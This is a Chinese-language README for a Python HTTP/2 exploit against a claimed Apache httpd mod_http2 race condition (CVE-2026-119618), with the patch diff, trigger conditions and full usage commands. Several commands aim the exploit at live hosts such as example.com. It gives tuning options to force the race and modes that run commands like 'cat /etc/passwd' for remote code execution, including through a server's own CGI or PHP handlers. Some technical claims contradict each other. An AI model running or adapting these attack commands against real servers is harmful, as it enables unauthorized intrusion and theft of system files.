针对 CVE-2026-119618 的 Python HTTP/2 漏洞利用程序,该漏洞是 mod_http2 中的请求头竞态条件,会导致 Apache httpd 2.4.55–2.4.70 中出现堆损坏和 RCE,并附带 Docker 测试环境。
在 HTTP/2 请求头表中使用共享资源进行并发执行且同步不当 (CWE-362)→ 堆损坏 → RCE。
| CVSS | 9.8(严重) |
| 受影响版本 | httpd 2.4.55 – 2.4.70,独立版 mod_h2 2.0.8 – 2.0.42 |
| 修复版本 | httpd 2.4.71(发布于 2026-11-11) |
| 上游补丁 | 824beab(2.4.x)/ 5ed3928(trunk)— mod_http2: assign_headers update table (#975) (#977) |
| 发现者 | Anthropic OSS Scanner (ANT-2026-MAPKT6MZ)、Google Cloud VRP (Weems / Scannell) |
modules/http2/h2_request.c 中 assign_headers() 内的一行代码:
--- a/modules/http2/h2_request.c
+++ b/modules/http2/h2_request.c
@@ -350,7 +350,7 @@ static void assign_headers(request_rec *r, const h2_request *req,
/* If we have a content-type, but already seen eos, no more
* data will come. Signal a zero content length explicitly.
*/
- apr_table_setn(req->headers, "Content-Length", "0");
+ apr_table_setn(r->headers_in, "Content-Length", "0");
完整保存的 diff:references/824beab_mod_http2_assign_headers.patch。
易受攻击的分支仅在单个请求满足以下全部条件时才会执行:
CONNECT;Content-Length 头;Content-Type 头;no_body 为 true —— 客户端已经发送了 END_STREAM 且没有 DATA 帧
(no_body == conn_ctx->beam_in == NULL,即请求体从未被缓冲,因为流在头部阶段就携带了 END_STREAM)。req->headers 是 h2_request 的头部表。该表是一个由两个所有者共享的资源:
h2_stream_add_header() → h2_request_add_header() → h2_request_add_header 写入 req->headers。h2_mplx → c2_process() → h2_create_request_rec(req, c, …) → assign_headers(r, req, no_body, …)。在易受攻击的代码中,请求生命周期的最后一次写入 —— apr_table_setn(req->headers, "Content-Length", "0") —— 发生在 c2 工作线程上,而该表c1 线程可能仍在写入(在 c2 工作线程启动 c2_process 之后,会话仍在为该流分发/刷新帧)。两个线程在没有锁的情况下修改同一个 apr_table_t(哈希表重哈希 / 元素重新分配)→ 堆损坏。
相比之下,r->headers_in 是在 assign_headers() 顶部通过 apr_table_clone(r->pool, req->headers) 创建的 —— 这是 c2 工作线程池中每个请求的新副本,c1 从不触碰。修复只是将写入移到那里,从而消除了共享资源写入和竞态。
Content-Type,没有 Content-Length,HEADERS 帧上设置了 END_STREAM 标志(后面没有请求体)。apr_table_setn(req->headers, …),同时 c1 线程并发地触碰同一个 req->headers。apr_table 修改 → 堆损坏 → RCE(如果损坏是良性的 / ASLR 不友好,则为 DoS)。在活动服务器上可观察到的现象: 某个流收到 RST_STREAM,连接收到 GOAWAY,或连接在突发中途断开(崩溃)。已修补的 2.4.71 服务器会正常响应同一个单一请求 —— 这就是为什么 --verify 模式是冒烟测试,而突发模式才是强制竞态的手段。
cve_2026_119618_exploit.py —— 纯 Python,使用 h2 包驱动 HTTP/2 状态机(无 C 依赖)。每一轮它打开一个连接,协商 h2(ALPN)或 h2c,并在单次 sendall() 中发射紧凑的 triggers + flood 流突发,使所有 HEADERS 帧(每个都带 END_STREAM)背靠背地到达服务器;然后它监视 RST / GOAWAY / EOF。
适用于任何启用了 h2 的易受攻击 Apache —— 无需自定义 CGI,无需特殊服务器配置。RST/EOF 就是损坏特征;--cmd 标志是可选的(用于在带有 RCE 端点的测试环境中验证 RCE)。
该漏洞利用程序使用原始 hpack 解码器解码响应 HEADERS(该解码器与 h2 库的内部解码器保持分离,后者会缓冲帧,直到流被 END_STREAM 关闭——而 Apache 的 mod_h2 在 RCE 证明的 CGI 响应上通常不会发送该帧)。这就是即使在 h2 库的状态机从未发出 ResponseReceived 的情况下,也能可靠捕获 X-Cmd-Out RCE 证明的方式。
pip install h2
# h2 over TLS (most live servers). Cert verification is skipped by default
# (good for self-signed / wildcard certs); pass --cert-verify to verify.
python3 cve_2026_119618_exploit.py -H example.com -p 443 --tls \
--triggers 5 --flood 32 --rounds 500 -v
# cleartext h2c (e.g. a local test build or a server with h2c enabled)
python3 cve_2026_119618_exploit.py -H 127.0.0.1 -p 8080 --h2c \
--triggers 5 --flood 32 --rounds 1000 -v
# auto-negotiate: try h2c first, fall back to h2-over-TLS
python3 cve_2026_119618_exploit.py -H example.com -p 443 --auto \
--triggers 5 --flood 32 --rounds 500 -v
# patched/vulnerable smoke test: one quiet trigger, no burst
python3 cve_2026_119618_exploit.py -H example.com -p 443 --tls --verify
# RCE proof (for a test rig with an RCE-endpoint CGI): the command is passed
# in the X-Cmd header (keeping the trigger bodyless, as the CVE requires),
# and the output is returned in the X-Cmd-Out response header.
# --extra-headers pads the trigger with dummy headers to force apr_table
# rehashes (widening the c1/c2 race window); --conns fires N parallel
# connections per wave to saturate the c2 worker pool.
python3 cve_2026_119618_exploit.py -H 127.0.0.1 -p 443 --tls \
--trigger-path /cgi-bin/rce-cgi --cmd 'cat /etc/passwd' \
--triggers 10 --flood 32 --extra-headers 32 --conns 16 --rounds 200 -v
# STANDARD mode: the target is a plain Apache with NO rce-cgi / no ScriptAlias
# (a live box you haven't instrumented). Proves RCE via the corruption
# signature (RST/EOF) instead of X-Cmd-Out. The trigger and flood both hit a
# normal path (default "/").
python3 cve_2026_119618_exploit.py -H 127.0.0.1 -p 8443 --tls --standard \
--triggers 10 --flood 32 --extra-headers 32 --conns 16 --rounds 500 -v
# RCE-ON-STD: ACTUAL RCE on a standard box that has its OWN body-reading
# handler (its standard /cgi-bin, SSI, PHP eval, ...). The command goes in the
# request BODY (not the X-Cmd header). The CVE's assign_headers() writes
# Content-Length:0 into the shared req->headers table, which is cloned into
# r->headers_in — so the body (carrying the command) reaches the handler, which
# echoes/executes it. Point --trigger-path at the box's body-reading handler.
python3 cve_2026_119618_exploit.py -H 127.0.0.1 -p 9443 --tls --rce-on-std \
--trigger-path /cgi-bin/echo-cgi --cmd 'cat /etc/passwd' \
--triggers 5 --flood 16 --conns 4 --rounds 30 -v
三种证明模式,取决于目标具备什么:
| 模式 | 目标 | 证明 | 退出码 |
|---|---|---|---|
(默认,--cmd) | rce-cgi 装置 | X-Cmd-Out 响应头(命令输出) | 1 |
--standard | 普通 Apache(无处理器) | 损坏特征(RST/EOF) | 1 |
--rce-on-std | 标准 Apache 带有自己的请求体读取处理器 | 命令在响应体中被回显(真正的 RCE,无需 rce-cgi) | 1 |
退出码:0 = 未观察到崩溃(可能已修补 / 未命中竞态);
1 = 观察到 RST/EOF(存在漏洞 / 可能 RCE);2 = 未协商 h2;
3 = 触发器未派发;4 = 环境/参数错误。
--flood — 如果未看到 RST 但看到服务器仍然存活,则提高该值(例如 32–64);
更多并发的 c2 worker = 与 c1 线程更多的重叠。--triggers — 保持在 1–10;超过该值会浪费流 ID,并可能
触及 max_concurrent_streams(漏洞利用将其设为 128;服务器的限制
通常为 100)。--extra-headers N — 用 N 个虚拟头填充触发请求。
每个头在 c1 侧都是一次 h2_request_add_header() 调用;更多的
头 = 更多的 apr_table 重哈希 = 更宽的 c1/c2 竞态窗口。这是
强制触发竞态最有效的单一调节项。--conns N — 每波发起 N 个并行连接以饱和 c2
worker 池。值越高 = 越激进。--rounds — 这是一场竞态;预期会有不稳定性。运行数百到数千
轮。在服务器上配合 dmesg -w(或核心转储 / 崩溃日志)使用客户端:
在 apr_table_* 中出现 httpd 回溯的段错误 / SIGBUS
即为 RCE 类证明。--cert-verify — 验证 TLS 证书(默认:跳过,适用于
自签名 / 通配符证书)。传入 --cafile 以提供 CA 证书包。--auto — 先尝试 h2c(明文,无 TLS 开销),回退到
h2-over-TLS。当你不知道目标是否启用了 h2c 时很有用。--cmd '...' — RCE 命令。通过 X-Cmd 头发送(而非
请求体),因此触发请求保持无请求体,满足 CVE 的
no_body 条件。输出由 RCE 证明 CGI 在 X-Cmd-Out 响应头中返回。rce-cgi)突发逻辑(--triggers / --flood / --extra-headers / --conns /
--rounds)完全可移植到任何启用了 h2 的 Apache 2.4.55–2.4.70 —
它仅驱动 h2 状态机,无服务器端假设。变化的是
在不安装 shell 处理器的情况下你能获得的证明:
dmesg -w / 服务器的
错误日志。在 apr_table_* / ap_table_* 中出现 httpd 回溯的
SIGSEGV/SIGBUS 即为 RCE-类证明。漏洞利用已报告的 RST/EOF
是同一损坏在客户端侧的影子。mod_cgid
/cgi-bin/、mod_php 的 eval 处理器、可写的 .htaccess 等。
CVE 赋予你能力去到达 shell 执行路径;你无需
安装任何东西。将 --trigger-path 指向该处理器,并在 X-Cmd
(或其等价物)中传入命令。conn_closed 命中
即为证据 — 竞态已触发,但你无法证明任意代码已执行。